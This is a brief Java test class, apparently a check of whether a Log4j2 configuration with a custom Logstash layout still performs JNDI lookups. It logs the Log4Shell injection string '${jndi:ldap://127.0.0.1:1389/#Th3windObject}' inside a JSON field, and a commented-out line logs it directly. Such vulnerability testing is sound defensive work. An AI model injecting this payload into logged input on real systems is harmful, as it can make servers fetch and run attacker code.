package com.sxkiler.demo.log4j2;

import com.alibaba.fastjson.JSONObject;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.plugins.util.PluginManager;

public class Log4j2NoLookupTest {
    private static final Logger logger = LogManager.getLogger(Log4j2NoLookupTest.class);

    public static void main(String args[]){
        PluginManager.addPackage(LogstashLayout.class.getPackage().getName());
        JSONObject obj = new JSONObject();
        obj.put("com.sxkiler.demo.test","${jndi:ldap://127.0.0.1:1389/#Th3windObject}");
        logger.info(obj.toJSONString());
//        logger.info("${jndi:ldap://127.0.0.1:1389/#Th3windObject}");
    }
}
